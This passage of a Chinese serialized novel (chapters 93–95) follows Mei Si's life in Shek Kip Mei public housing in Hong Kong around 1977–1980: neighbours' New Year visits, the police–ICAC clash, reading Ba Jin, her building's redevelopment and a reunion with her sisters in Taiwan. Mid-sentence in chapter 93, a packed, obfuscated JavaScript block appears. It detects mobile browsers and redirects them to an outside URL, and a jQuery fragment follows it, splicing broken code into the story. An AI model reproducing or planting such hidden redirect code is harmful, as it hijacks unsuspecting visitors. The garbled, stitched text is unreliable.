拿起筷子之前,梅思先用拳头轻轻捶了捶腰,又揉捏了一下肩膀,回头要用热毛巾敷一下,从六点干到十二点,六个钟头呢,劳动人民真的是辛苦,也很是伟大。 梅思慢慢吃过了午饭,把剩下的一点羊肉又放回梅林,免得小小房间里满是菜味,坐在床头看了一阵书,便午睡了,三点多醒来后,又是看书,一直到将近六点,去梅林里取了饭菜,回到屋子里,放在炭炉上加热了一下,终究要有一点变化,便烫了两片白菜叶,加蚝油来吃。 晚饭之后,梅思一时有些发懒,便先看小说,到七点多才洗碗筷,然后刚刚坐下来泡茶喝,便听到外面有人敲门:“梅小姐在么?” 梅思听那声音,登时有些啼笑皆非:“林鹃,我来了。” 93.第九十三章 林鹃断绝世外桃源 第九十三章 林鹃断绝世外桃源 门前果然是林鹃,已经是惯例,手里端了一盘烤粑粑,圆圆的叠了七八个,笑眯眯站在那里:“梅小姐,给你拜年。” 梅思忙道:“林鹃,过年好!” 请了林鹃进门来,又倒茶给她,梅思倚靠在桌边,望着盘子里的烤粑粑:“啊,在咱们楼里,烤粑粑做得好的,只有你们一家。” 另外还有东妹姐,做得一手好糯米粑粑,只是到这个年纪,不好自己舂粑粑,须得雇工,其它搓压烤,都是东妹姐来做,明日到那里,就可以吃,白明珠还会要自己拿回来几个,慢慢吃。 然后又问:“你吃甜吃咸?” 林鹃道:“吃甜,有黄糖粉么?” 梅思点头:“有的,在这罐子里。我吃咸,加咸蛋黄吧。” 林鹃笑道:“我妹妹方才吵着要加辣椒酱。” 梅思乐着摇摇头:“我老了,比不得你们年轻人,吃多了一点辣,便要闹肠胃,须得到门前保元堂,买蚬壳胃散。” 若是在从前,自己也是常食辣的,虽然不会做桂林的辣椒酱,但能做炸胡椒,昔年在报馆,午饭时常便是馍夹炸胡椒,桂林的时候,是辣酱腐乳配馍,把延安的肉菜夹馍,生生改换了口味,只是如今不成了,吃辣椒容易上火,喉咙痛,胃疼。 吃着烤粑粑,两个人闲谈,梅思说:“方才便听到你家那边热闹得很,做了许多菜?” 林鹃便问:“梅小姐年夜饭吃的什么?” “烫白菜,午间还留的有烧羊肉。” 林鹃笑道:“倒是简便,这样省事些。” 梅思含笑:“午饭倒是很花时间烧菜的,本来除夕夜,晚饭最隆重,只是我晚间吃多一点,便胃胀,所以把年夜饭提前到午中午来吃。” 五十四岁了啊,终究不一样,十几二十岁的时候,晚饭放开肚皮吃,大不了晚睡一点,到延河边或者梅林里,多走一阵也就罢了,照样消化得下去,现在可是不行了,晚餐要控制饭量,多吃了便胃胀反酸。 林鹃连忙道:“按理晚饭是不该吃太多,只是每到逢年过节,便破了例。呀,梅小姐,多谢你的羊肉,炖了好大一盆羊肉汤,喝了个精光。” 梅小姐每到过年时,必定送羊肉,又鲜又嫩,一家子吃得都很过瘾。 慢慢便说起老邻居:“来娣的公屋,总算等到了,过年后就可以搬家。” 申请了好久,如今总算等到,可以搬出去住了,不必挤在一起烦躁。 林鹃赞叹了两句“好事情”,转念便想到:“招娣她开画展,我们家那个人去了,还带回一幅画来,你说好笑不好笑?这一家子乌烟瘴气的,要往哪里挂?他大才子要独个占一间书房么?” 梅花泉石图,是大画家招娣送的,哪肯要他花钱?可说招娣也真聪明,那么多画,偏偏挑了这样一幅,或者是自己男人偏爱这幅,也未可知,反正是拿回这么一张画来,回到家就张罗着找地方挂起来,给自己好一番数落:“不是架子就是柜子,你看挂哪里?阳台墙上空着,那里挂的衣裳。” 惹得姓归的差点急起来。 梅思便给双方弥缝:“本来挂一幅画是好事,只是你们家里人口多,那地方是显小些。啊,林鹃,只可惜那一日你不能来,否则我们可以好好说说话,这些年来,虽然也不是不能见面,只是少有能畅快谈谈。” 林鹃冷笑一声:“我倒是想去呢,当日在这里,与招娣也是要好的,那姑娘从小就有心,如今果然和我们不一样,能办展览呢。只是梅小姐你想想我这家里,又有老人又有孩子,老头子这一向身体不太好,总咳嗽,又是这里痛那里痛,我买了活络油给他擦,好一阵坏一阵,又吃久咳丸,也不见去了病根,几个孩子也都是,今天这个肚子疼,明天那个惹祸,给学校找家长去听训,‘养不教父之过’,每次却都推我去,好容易小四是个不惹祸也不闹病的,读书没脑壳,总是吊尾巴,若是个女孩子倒也罢了,偏偏是个男孩,将来怎样吃饭?上一回为了小三调皮,打破同学的头,Miss 邓要我去,我和小三说,你告诉Miss 邓,就说你妈妈死了,要她找你爸爸。” 梅思起先皱眉,后来乐得双肩直颤:“小三怎样说?” 林鹃翻个白眼:“他不说话,还能说什么?” 这些家里事,但凡说起来,便止不住,林鹃一连串讲下去:“倒是能读书,有文化,石硖尾出去的才子,可一天也不能总是这么春风白雪的,过生活柴米油盐当家,他只顾着钻书本,家里事全不管,要累死我?一天三顿饭,洗衣烧饭不算,连老的带小的,成天买药,弄不好还要跑医院,我现在一看到药房就头痛,想的下回又不知哪个病。还要管孩子们的功课,偏偏我这样操心,也不见功劳,除了老大,那三个每回考试,顶好也不过不上不下,回到家各个嫌我烦,抱怨脾气差,都爱往爸爸身边凑,‘爸爸爸爸’叫得亲……” 梅思笑道:“既如此,你便索性让他来管管,不要累你一个人。” 林鹃鼻管里喷出两道冷气:“哼,他才不肯管哩,那个人聪明呢,这份差事,吃力不讨好,他哪里肯揽在身上?逗逗孩子也就罢了,之后依然打发到我这里,‘找你们妈妈去’,又或者给孩子讲讲报纸和书上的事情,古今中外,天文地理的,老大爱读书,顶能和她爸爸说到一处去,天底下爸爸最好,有学问,不骂人,坏人都是我一个在做。” 林鹃的长女海郁,五个孩子之中最喜欢看书,爱文学和历史,林鹃望女成凤,后面四个看看不很出色,就指望大女儿出人头地,起码当个文化人,不用在底层打滚,一家也有面子。 发了好一顿牢骚,林鹃这才仿佛满足,笑着道别:“梅小姐,谢谢你肯听我啰嗦这些,我回去了,下回再见。” 梅思起身相送:“保重啊。” 林鹃回到母亲家中,不出所料,一进门便看到丈夫望向自己,林鹃冲他微微扬了扬下巴,暗暗得意,你去啊,去找梅小姐说说话。 归玉树果然默默垂头,自从那一年除夕,妻子紧跟着自己的后脚去了隔壁,这几年自己都再没有去看过梅小姐,实在不值得怄气,太过小家子气,仿佛孩童吵架一般幼稚无聊,罢了,自己回去看梅花图吧。 春节之后,天气逐渐热起来,七月里热浪到了高峰,二十二号这一天傍晚,梅思从外面回来,在楼道里与邻居招呼:“梅小姐,回来了?” “周太,回来了。” “今天外面热啊,看你脸上通红。” “这楼里也不见凉快呢,守着火炉烧饭。” 周太哈哈地笑:“可不是么,大夏天的烤火,生怕受寒感冒。啊梅小姐,还是你好,一个人住,自己屋子里就可以烧饭,不像我们,还要轮班。” 这便是独占一间屋的好处,不必好像其她人那样,烧水煮饭都要排出号码,定个先后,走廊里窄啊,虽然能安排锅灶,但倘若大家赶在一个时候,一股脑都来烧饭,毕竟挤不开,便只好商量时辰,你先我后排顺序烧饭,唯独梅小姐省事,她那屋只一个人住,地当心就可以摆一只小炉,煮粥煮面都能行,不必和大家来挤。 梅思笑道:“我反正吃得简单。” 这倒是实话,虽然多是在梅林炊饭,尤其是夏天,不过自己日常也没有许多闲工夫,精精致致地料理,往往便是拌饭拌面打发了,又或者煮出一锅饭,这一顿饭是饭菜是菜,后面几餐便是烩饭,上海菜饭的修订版,多少省力些。 周太叹道:“终究还是一个人住的好,宽敞,你看看我们这屋子,八个人挤一间,不要说夏天,冬天都不好关门的,那床脚要支出门外来。” 盛暑时节自然是不必说了,关起门来热死人,好像蒸笼,即使是冬季,轻易也不关门,就那么敞开着,房间与走廊连在一起,多少能扩大一点空间。 梅思脑子一转,笑着说:“如今各处都在说拆楼改建,也不知什么时候排到我们这里。” 周太的精神登时振奋起来:“是啊是啊,这几年今天拆这个,明天改那个,到底哪一天轮到我们?这螺蛳壳住了几十年,实在耐不得,就把两间并一间,也比现在强,起码不用和人家抢灶台洗手间,上厕所都麻烦,我们这样多人,又不好在屋子里放马桶的……” 还是梅小姐自在,清早出去倒马桶,不用和人抢厕所,她自然是可以啊,便壶加个盖子,放在墙角就好,一个人能有多少屎尿?自家就不成了,这么多人,马桶都没有地方放,倘若一个不留神碰翻了,那气味可真不用提了,人间惨祸。 梅思笑一笑,也设想搬新屋之后的场景,起初不过是陪着周太开心,说着说着,却也投入其中,直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853900|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了自家房门,还在欢喜,脚底软绵绵,身上轻飘飘。 不是不可能啊,这几年香港很是关注普罗大众的住房,又是“十年建屋”,又是“居者有其屋”,许多的计划,石硖尾旧屋邨要么拆除,要么改变格局。 梅思对于“居者有其屋”,并不是特别热衷,到现在她已经习惯了住公屋,虽然要付租金,但相当便宜,已经是这个年纪,何必一定买屋来住?只要房间大一点,有厨房卫生间,也就心满意足。 暑气到了九月仍是灼人,明明已经过了白露,港岛却依然炎热,梅思这一天从外面回来石硖尾,经过贺健莲的凉茶铺,一屁股就坐在椅子上:“健莲姐,给我一杯斑砂凉茶。” 贺健莲本来沉着脸坐在柜台后面,听她这样一说,登时仿佛惊醒过来:“她梅姨,你喝这么猛的茶做什么?” 斑砂凉茶是好啊,伤风感冒能当药,然而势头太劲,很是寒凉的,倘若底子薄,容易伤身体。 卖凉茶久了,贺健莲也懂得一点中医草药,梅思看着气血就不很健旺,平时雪梨茶喝得多,这一回怎么忽然指名要斑砂? 梅思手肘撑在桌面,扶着头道:“有点中暑,我头疼,喝斑砂去去热。” 贺健莲琢磨了一下:“她梅姨,你别急,斑砂你可能是禁不住啊,还是喝金银花吧,回头买一瓶双飞人喝喝,兴许管用。” 梅思想了一想,慢吞吞道:“双飞人我家里有。” 贺健莲给她倒茶:“那更是好了,回家就喝吧,我本来想着,你难受成这样,只怕没力气去药房,等一下小玲子买雪糕回来,让她替你买来。” 看到梅思喝了几口热茶,面色似乎稍好了些,贺健莲便又问:“你这是去了哪里?热成这样,今天礼拜六,不用去交易行,就算礼拜一,大热天也犯不着这么卖命,我早上看你出去的,到这时候才回来,什么要紧事?” 梅思晃了晃头:“收房租。” 贺健莲恍然大悟:“那倒是正经大事。” 今天十号啊,又是礼拜六,该收租金的日子。 然后她又疑惑:“那你就收到现在?” 已经下午四点多了呢,大清早出的门,六点多自己刚刚开了凉茶铺的门,预备着把草药放进壶里去,她梅姨就摇摇地来了,可巧有人问龟苓膏,就没顾得上说话,只望着她的背影去了,这一去就是大半天工夫。 “水管漏水,我换了根水管。” 贺健莲点了点头,行啊,自己这位老伙伴,还能修水电:“可惜你屋子里是没有电话,否则那边换水龙头保险丝,一叫你就到,倒是省了找师傅的钱。” 梅思微微苦笑:“就算有电话,过去一次也不容易。” 工厂大厦越来越多了,车也多,路面却不宽,到处都堵车,今天就是在路上堵了两三个钟头,才在这个时候回来,坐在巴士里,简直要热晕过去。 看着她一脸虚弱的样子,贺健莲也不忍心:“唉,什么时候把那路加加宽,要么干脆来一条地铁,大家从地下面走,省了都挤在上面。” 有一间自己的房,自然是好,只是去收一次租,也实在太过搏命,看看便要中暑了,坐地收租金虽说威风,却也没那么轻松。 梅思喝了一杯凉茶,又喝第二杯,到这时总算缓过一口气来,抬眼望望贺健莲,终于发现她神色不对:“健莲姐,什么事不开心?” 贺健莲总算得到了机会诉说:“还不是为了廉署!整天查这个查那个,黑白无常,催命呢!要说差馆,确实脏,没有哪个人干净,可是世道如此,又能怎样呢?总不能不做,像那些小虾米,没有怎样伤天害理,又不曾逼出人命,何苦这样紧逼着不放?莫非要逼死人么?!……” 贺健莲捶着胸口,痛诉一番,仿佛要把肺都挖出来一样:“我成天提心吊胆,你晓得大柱那个性子,和他爹一样,闷声不吭气的,就怕他一个想不开,上了吊,他们差馆有一个,跳楼了……倒是比共产党还厉害!” 梅思的太阳穴又胀痛起来:“且忍耐,慢慢看,总不至于走到绝路。” 贺健莲拍着桌子:“等着瞧,再这样,定要大大地闹一场。” 梅思:“……不要冲动。” 过了一个月,十月二十八号礼拜五,激烈的警廉冲突,上千警员以及他们的家人冲击廉政公署。 94.第九十四章 三十年后重聚台湾 第九十四章 三十年后重聚台湾 因为警方与廉署的对峙而造成的社会紧张气氛,在第二年逐渐缓解,警廉冲突不再天天上新闻头条。 这一年股市非常好,梅思日日去远东会,无论风雨,不肯缺席的,哪怕台风天,粗树枝都吹断,跌落在街面,只要还能出门,便不肯中断,撑着伞小心地走,格外有精神。 就是在一个狂风暴雨的日子,交易厅的玻璃窗外,天黑如墨,望着那仿佛无休无止的倾盆大雨,梅思终于决定,买进长江实业的股票,到底是不得不向资本主义低头,虽然香港本来就是资本主义的世界,可是六七风波给人的触动太深,活生生的本相。 梅思把当天的股价记在本子上,这几年,她手上股票行情登记得更加详细,如今梅林之中,已经堆了二十几本股票记录,两个月后,梅思再查价格,长江实业已经涨了百分之六。 或许顺心的日子容易过,梅思便感到,时光倏忽便过去了,这天早上看日历,恍然惊觉竟然是十二月,一年已经到了尾声。 吁了一口气,梅思笑了一笑,十二月便十二月吧,虽然天气就要转冷,但马上便是元旦,又是春节,也是一连串的喜事,每年到了这个时候,让人想要忧愁,也忧愁不起来,愁绪烦恼总仿佛不合时宜的样子,自己也要准备庆贺这两个大节日。 这一天是礼拜六,梅思洗了衣服,又把午饭的菜蔬准备了,伸了个懒腰:“总算做完了,让我享受下这一个早晨的清静。” 便从柜子里取出一沓报纸,《大公报》,积攒了一周的,这时候终于可以看了,《信报》每日必看,《大公报》对不住,只能礼拜六礼拜天弥补。 翻过两版,梅思大略地看着,忽然目光定住了:《谈<望乡>》。 这一篇杂文,吸引梅思的并不是内容,因为还没有读,而是文章的署名格外刺目,是“巴金”。 巴金先生,这么多年的风波,他还好么?无论经历过什么,想来都还平安,毕竟他已经在香港的报纸上发表文章,能够写文章,身体或者便撑得住吧? 巨人离去,运动自然结束,像是巴金先生这样出名的文学家,已经“解放”了吧?不过仍然很有胆量,这样快便给香港的报纸写稿,虽然是《大公报》。 倘若是自己,只怕噤若寒蝉,要躲藏在幽深的地洞里面,偶尔才敢探头,仔细观望,又缩回地洞,好久不敢出声,最为敬爱的教育长张琴秋的结局,深深刻在心上,永远不能忘怀。 梅思将这一篇谈日本电影的短文看完,心中想的是巴金先生的小说,年轻时代,陪伴自己的书中,有巴金先生的书,《激流三部曲》和《爱情三部曲》常摆在案头,读巴金先生的书,与张恨水的小说不同,这两个人的文学风格,就如同各自的书名,张恨水先生的小说,是《金粉世家》、《春明外史》,很有传奇感,巴金先生则是《雾》、《雨》、《电》,回味悠长。 若是为了解闷,自己爱读张恨水的小说,倘若是想要静下心来想些什么,便会捧起巴金先生的书,碧玉年华,深深后宅的书斋里,静静的午后,读《新生》。 手撑着腮想了好一阵,梅思收回视线,决定这一个下午去图书馆,借阅巴金先生的书。 之后的一个月,梅思是在《巴金文集》的陪伴下度过的,《大公报》也是每晚读完,在上面寻找《随想录》,是巴金先生在报上的专栏名,名为《随想》,其实很是用心的,不是泛泛谈论,对于刚刚过去的一场运动,巴金先生痛彻骨髓。 虽然并未亲历,但那十年间,《大公报》与《明报》论战,梅思也晓得一些事情,真真假假难免,却也能推测到,倘若自己还在故乡,只怕日子难过,自己当年离开延安,在桂林又有小报的事情说不清楚,虽然立时登报声明,终究有所嫌疑,还与一位国民党军官有牵连,想到钟坤,不由得一根针戳进心口,这些年他怎么样了?四年战争,幸存么? 所以劫难过去,巴金先生回首过去,格外沉痛,就在元旦之后,写了一篇《多印几本西方文学名著》,梅思登时便忆起鲁迅先生的那一篇文,“我主张青年少读,或者简直不读中国书”。 巴金先生说,《新天方夜谭》给人烧了,那十年间,藏书想来损失不少,他那样一个爱书的人,嗜书如命,这样的损毁,摧残了他的生命力,仿佛一棵枝繁叶茂的大树,给硬生生砍斫一半。 从腊八到小年,都很是忙碌,往年虽然也过年,只是这一年,梅思忽然激发了节庆的心情,要格外筹备一番,今年除夕,必得有一条黑鱼,才叫做年夜饭。 如今的梅思,是极嗜黑鱼,差一些便到了“非黑鱼不吃”的地步,鱼肉细腻自不必说,还有一桩好处,便是刺少,河鱼少刺的不多,黑鱼是其中之一,海鱼倒是往往几根大刺便完了,只是要到外面去买。 只是黑鱼不像黄鳝那般易得,往常守上好半天,只好钓得一条,若是小黑鱼,梅思会从钓钩上摘下来,再丢回湖里去,这一回实在是好,居然钓到三条,都过了一尺长,圆滚滚如同人的小臂,张嘴呲牙,弹动有力,做熘鱼片,必然细滑鲜嫩。 望着桶里三条黑鱼,梅思喜欢得心里开花,按照“黑鱼大财黄鳝小财”的楼内传说,可是个好兆头,今年必然兴旺。 欢欢喜喜把鱼桶转到了梅花树下,梅思盘算着,这三条黑鱼,够自己过这个年,再杀一只鸭子,很丰盛了,便回来房间里,脱了浸透冷气的衣服,换了一条棉袍披在肩头,两脚搭在脚炉上,拖过那一叠报纸来,便读起来,这一阵一心为过年奔忙,居然连报都不读了。 一张张翻下来,终于找到《随想录》,是《怀念萧珊》,梅思晓得的,萧珊是巴金的夫人,大陆这些年风云变幻,她的日子想来也不好过,前面巴金先生写《结婚》,便猜到不好,他本是有太太的啊,为什么忽然谣传要“结婚”?这一篇证实了,果然,萧珊女士故去了。 虽然对萧珊不很了解,也谈不到多深的感情,毕竟萧珊没有作品给自己读,不过看到这个题目,梅思也有些难过。 一列列文字看去,果不其然,十年间受了许多的苦,倘若不是那样严峻的环境,只怕未必得癌症,就得了癌,好好治疗,也许如今尚在人间。 慢慢地梅思读到了这里,“……她想改变自己的生活,不愿做家庭妇女,却又缺少吃苦耐劳的勇气……” 陡然间一股气流从胸中涌起,直窜咽喉,梅思只觉得喉咙发痒,不由得连连咳嗽几声,“啪”地一下便将报纸拍在桌面,起身找出蜂蜜罐子,调温水来喝。 七九年一整年,都在谣传“拆楼拆楼”,传闻越来越盛,到了八零年,三月里,通知正式发来:“改建,大家预备搬迁”。 消息传到,七层大厦里面一片轰然叫好声: “总算等到这一天!” “我可要换个地方,就重修好,我也不回来,实在住够了。” “梅小姐,你要怎样?” 梅思提了水壶,稳稳地说:“我还要回来的。” 周太嘎嘎地乐:“真这么舍不得这里?” 梅思笑道:“我舍不得爱文生。若像你们搬去励德邨,要来便费力。” 瞿明点头:“毕竟住了这么多年,虽然厌烦,忽然间若说要走了,又不忍心,好在周边可以安置的,老邻居们多数都在,能说说话。” 不多久便是搬家,梅思是打定了主意,本栋楼重建之后,还要搬回来的,临时的住房便只是草草布置,好在她的物品少,多数是书,倒还容易搬。 五月里终于安顿妥当,台湾有信来,是二姐柏翠:“大姐从印度尼西亚回来了!” 梅思登时两眼瞪得老大,菊霜归来了,没想到分别三十年,还能再见面,自从自己二次出走去桂林,姊妹便再无机会相见,之后局势变换,相距越来越远,再不望会面,哪知花甲之年还能见面。 柏翠接下来自然便是邀约:“可要来台湾,姊妹相会?都已经是这个年纪,再见难期。” 这种情况还有什么可犹豫?回信里自然是要去的。 五月下旬,梅思手里提了行李箱,在高雄港下了船,码头上已经有几个人在等候,手里举着牌子,伸长脖颈向这面看着,梅思眯着眼睛细瞧:“二姐,大姐,你们来了!” “啊呀小妹,果真是你!” 相别多年,彼此都已经改变了样貌,昔日分别,黑发红颜,如今再见,最小的妹妹已经斑白了头发,菊霜和柏翠虽然头发乌黑,脸上的皱纹却丝丝可见,皮肉也有些松弛了,岁月的痕迹,终究无法抗拒。 姐妹三个紧紧拥抱在一起,抱头流泪,好一阵才给家人劝住:“几十年终于相见,且先不要只顾了哭,回家去慢慢说话。” 柏翠擦了擦眼泪,笑着说:“是啊是啊,有多少话,到家里慢慢说。快上车。” 路边一辆小汽车,日本丰田的牌子。 梅思惊叹道:“呀,二姐家里的车?” 柏翠颇有些得意:“年初刚刚买的,台湾这几年经济好,又是这个年纪,有部车子方便些,都是你姐夫开车,我不会,只 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这时已经是下午四点多,谈了一个多钟头,柏翠正说着:“弟妹和宝凝上个礼拜来了,住了两天,回去台北,这一回你过来,已经给她们打了电话,说周末赶过来见面,当初在桂林,你们居然熬那样久,也够吓人的……” 儿子儿媳招呼吃饭:“菜烧好了,姨妈快入席!” 饭桌上,菊霜和柏翠不住地给梅思夹菜: “吃这蚵仔煎,高雄顶出名的,别处吃不到这样的好海蛎子。” “这虾也肥。” 少不得慨叹年华易逝:“当年小妹回来,我们都还在好年纪,一转眼便老了。” 梅思笑道:“姐姐们都还年轻,看起来不过四十几岁,一根白发都没有。” 当年颇熬了一番辛苦,不过这几年重当太太,养尊处优,便又滋养了过来,菊霜和柏翠都是皮肤红润,面相富态,纵然皮肤不再如年轻时紧致,却也不很显老,虽都是过了六十岁的人,却仿佛只有五十二三岁。 菊霜笑道:“哪里年轻?不过是胖罢了,把那皱纹都撑开了!你看头发黑,都是染的!” 柏翠点点头:“我们三姊妹,小妹最瘦,好像你当年刚回老家的时候一样,这么多年都没能胖起来。” 梅思笑道:“大姐说话好夸张。” 菊霜这边“嗖”地夹一块鸡肉:“快多吃菜!” 又说:“你在香港,这些年是怎么过的?到底有没有好好吃饭?你住的地方怎样?听柏翠说,是政府的房子?多大?” 梅思忙道:“租金便宜,烟火气浓,出门就是凉茶铺、报摊,不远是夜市,晚间热闹,这一阵正重修,原来的两间改作一间,房间便大了,总有二百多尺。” 菊霜有些生疏:“二百尺,那是多少?柏翠,你晓得吗?我不是很会算。” 柏翠:“咱们这房子是二十七坪,二百尺……得有多大?” 梅思有点干巴巴地说:“总有七八个坪。” 柏翠:“原来如此。” 数目字倒是挺唬人的。 梅思赶忙又加了一句:“我一个人住,倒是也够了。” 菊霜和柏翠对视一眼,菊霜点点头:“一个人原用不着那样的大房子,打扫清理也方便。啊小妹,柏翠说,你原本住七楼?还没有电梯的?这一回重修,若是加装电梯也就罢了,倘若还是没有,怎样也得换一间屋,一楼二楼,我们年纪都大了,爬楼吃力。” 梅思道:“我已经向委员会递了申请,要调换房屋,想要在二层。” 一楼虽好,可惜潮湿,二楼不很高,几级楼梯还上得动。 因是她们姊妹久别重逢,席间从头到尾,多是三姐妹在说话,柏翠的丈夫何思连只助兴说了几句,到宴席终了,晚辈收拾桌面,沏上茶水,上一代几个人围坐在沙发上闲谈,何思连望着梅思,终于徐徐问道:“听柏翠说,小妹是去过延安的?” 梅思笑笑:“啊,好久以前的事。” 95.第九十五章 美荷楼 第九十五章 美荷楼 梅思在台湾,连住了两周,先是在高雄,后又去台北,在传芳家里住了四天,柏翠与丈夫陪伴菊霜北上汇合,大家去了圆山。 因梅思与菊霜都是难得来一次,柏翠自然隆重款待,何思连开着车,把什么阿里山、日月潭都玩过一遍,一直到了六月十四号,阖家去机场送别菊霜,传芳与宝凝也来了,好在是直飞印尼,在高雄就能登机,倘若是要往欧美,就得去台北,中正国际机场,前一年刚刚通航的。 菊霜紧握着梅思的手,两眼泪汪汪:“这些年真是苦了你,千难万险,保存了母亲的遗物。” 就在自己贴身的口袋里,放了一枚钻石胸针,紧贴着皮肉,滚烫滚烫,小妹当时说:“知道姐姐不缺钱,是母亲留下来的,做个留念。” 柏翠叹道:“可惜了那帽花,这些年总没能找回来。” 失去了就是失去了,再难寻回。 菊霜眼望梅思,很是恳切地说:“小妹啊,咱们姐妹三个,你最聪明,最有志气,也最是执拗,几十年风风雨雨,一个人亏你熬了下来,只是人太好胜了,便自己受苦,世道如此,又是何必呢?你但凡把那固执的性子减两分,也能过得轻松些。” 小妹太要强,不肯沾男人半分光,落得凡事都要自己操持,没有个遮风避雨的靠山,这世界纵然再怎样讲平等,终究是男人占先,她倒是硬气了,只是却也太苦,让人看了心疼,倘若是别人,也就罢了,却是自己的亲小妹,怎么能眼睁睁看着? 菊霜便望向柏翠,柏翠会意:“大姐,你放心,不比印尼,香港和台湾一条水就到,台湾如今,看看也有点像是要变的样子,我去香港自然方便,她来台湾,也不再那么为难,我和弟妹都在这里,大家时常聚聚,也热闹。” 七九年的年底,美丽岛杂志社那件事真是震动,又打又砸,到处抓人,就在高雄啊,那一阵自己都不敢上街,深夜和丈夫悄悄嘀咕这事:“莫非又是一次四一二?” 那还是当年听瑞成讲的,瑞成其实是讲给小妹听:“……四月十二号,大肆搜捕共产党,杀死许多人。” 小妹扳着手指计算,抬起头睁圆眼睛望着他:“民国十六年啊,那一年我五岁,哥哥七岁,你怎么都记得?” 瑞成失笑:“我又不是甘罗,哪有那样的天才?是先生讲的。” 柏翠也晓得的,教授国文的楚先生,很喜欢瑞成,仿佛把瑞成当成了大人,有时候只有两个人在,便和瑞成讲从前的事,声音总是压得低低的,让瑞成也不由自主屏息凝神,呼吸都细微了,此时把先生的话讲给小妹听,紧绷的面上隐然一丝傲然。 一转眼瑞成已经死了这么多年,他是那样的年轻啊! 黑暗的房间里,丈夫听到自己的联想,轻轻摇头:“只怕如今已经比不得当年。” 美国不会答应的,如果还是在大陆,蒋氏政权可以不在意美国的意见,然而孤悬海岛,对面是强悍的大陆,国民政府势如累卵,虽然美国已经与国民政府断交,但外交关系的断绝,不代表美国从此对台湾就无影响力,台湾还是指望美国的支持,在这种情况下,只怕要在一定程度上尊重“美式民主”。 最终果然没有人为此而死,就连柏翠也察觉到,空气变了。 这只怕还是因为老蒋先生死了,小蒋先生终究没有父亲的威权,纵然有心那样干,也做不成。 台湾是这样的情形,小妹今后要来探望,该也不会再像从前那样皱眉头,这么多年,她就没有来过。 柏翠用眼神示意菊霜:尽管放心,小妹的事包在我身上,定要为她找一个如意郎君。小妹的人生,太多波折,瞧瞧她这几十年,又是延安,又是桂林,江陵香港,尽情折腾,孤身无靠,多少磨折都要自己扛,这一回见面,虽不到皮包骨,也好不多少,清高倒是清高了,好像深山里的梅花,不染凡尘的,可是让人实在揪心。 几个人在机场难舍难分,梅思拉着菊霜的手,眼泪不住地流,再会难期了,大姐在印尼,归国一次万水千山,很是不易,虽然都说着“下次再见”,却都肚内明白,下一回不知是什么时候了,这次也许就是最后一面。 到了这个年纪,经历许多世事,意识形态的分歧都已经不很在意,两个姐姐没有着力劝自己,自己也没想多申述主张,更浓烈的是深深的姊妹之情,当年自己从延安狼狈归来,在平乐待不住,终究出走桂林,大小箱笼带去的,除了母亲的体己,也有大姐的赠送。 那个时候二姐没有力气帮自己,大姐正在得意,夫婿腾达,她便能拿出钱来,为自己置办东西,黄包车拉出大宅门的藤箱中,有大姐送的衣料和花旗参,全套的胭脂香粉雪花膏。 出走桂林,这些瓶瓶罐罐本不想带,卖弄姿色很是无聊,传芳便劝:“是大姐的一番心意,你不带,她多伤心?” 自己笑道:“留给姐姐吧。” 传芳噗嗤乐出声,回身一指:“你看看我那柜子上,还少么?” 自己一望,果然是,高高低低的玻璃瓶瓷瓶,整整齐齐排了两列,仿佛清晨出操一般,三星的玫瑰粉,旁氏的白玉霜,此外还有什么玉容膏、艳颜水、雪花精、指甲油……眼都花了。 传芳又劝:“未必全都是白耽误工夫,你看这香皂啦,牙粉啦,总要用的,天热了,爽身粉能防痱子,就是这雪花膏,冬天总要擦脸,不然干裂得难受……” 当时自己笑着说:“好了姐姐,我晓得了,都装进箱子便是了。” 哪知后来是在百货公司站柜台,总算化妆的东西不必在外面买,省下一笔支出。 况且果然也如同传芳说的,不全是太太小姐打发时间,装扮卖弄的物件,有一些是为了清洁,人总要尽量干净;风油精提神醒脑,夜晚读书时,又或者早起疲惫,涂一点风油精在太阳穴上,去公司便有精神;就是花露水,也不纯是为了让男人心驰神荡,给蚊子咬了,涂一点果然能止痒。 大姐买给自己的,都是好牌子,香皂是力士的,花露水粉嫩膏双妹的,胭脂是蜜丝佛陀造,唇膏是美奇的,三星的牙粉兰花粉,旁氏的面霜,除了舶来品,便是中国知名的老牌子,把名字念一遍,摩登感扑面而来。 这些东西,自己用了两年,一些玻璃瓶如今还留在梅林中,每念及此,怎不眷恋? 这一天送走了菊霜,返回柏翠家中,梅思便开始整理自己的行李。 柏翠也是怅然:“大姐刚走,你也要走,我们姐妹分别这么多年,这才相聚几天?就又要分散。” 梅思把一件旗袍放进旅行箱,笑道:“又不是不能再见,我们离得这样近啊!” “你下次什么时候来?” 梅思想了想:“或者明年。” “明年一定要来啊!”柏翠赶快叮咛。 梅思点点头:“我尽力。” 这时何思连拿着烟斗走过来:“小妹明年务必再来。” 柏翠转头笑向他:“你看,你姐夫也盼着你来。” 这一回怎么如此热心?从前顶厌烦会客的,倘若有亲戚到家里来住,更是眉头紧锁,感觉很受打扰。 何思连吸了一口烟:“延安的话题,怎样谈也谈不完。” 这一回不够尽兴,梅思是来姐妹会面,特别是要见菊霜,都是她们姊妹在说话,自己想多说几句延安,都插不进嘴去,下一回梅思再来,可得好好聊一聊。 四九年以后,大批的人来台湾,这里面去过延安的人,不能说绝无仅有,就是何思连从前在大陆,也接触过思想□□的人士,曾在延安逗留居住,不过梅思在其中,依然是特别的,在红色中心整整三年,接受延安的高等教育,之后在机关工作,与站在外面的观看者不同,她是“圈子内的人”,而且心思细密,十分敏锐,尤其她还写日记,何思连一向以为,喜欢写日记的人,往往是有意无意的观察者,会比别人多留意一些事情。 而梅思的那些日记,经过这样多的危险动荡,居然都还保留着,简直是奇迹,单说她能够把它们带出黄土高原,就让人难以置信。 两天之后,梅思也告别了柏翠与传芳两家人,重返香港,一路回到石硖尾,把行李箱推滑进房间,便一头躺倒在床,也顾不得那床铺半个月没有打理,落了灰。 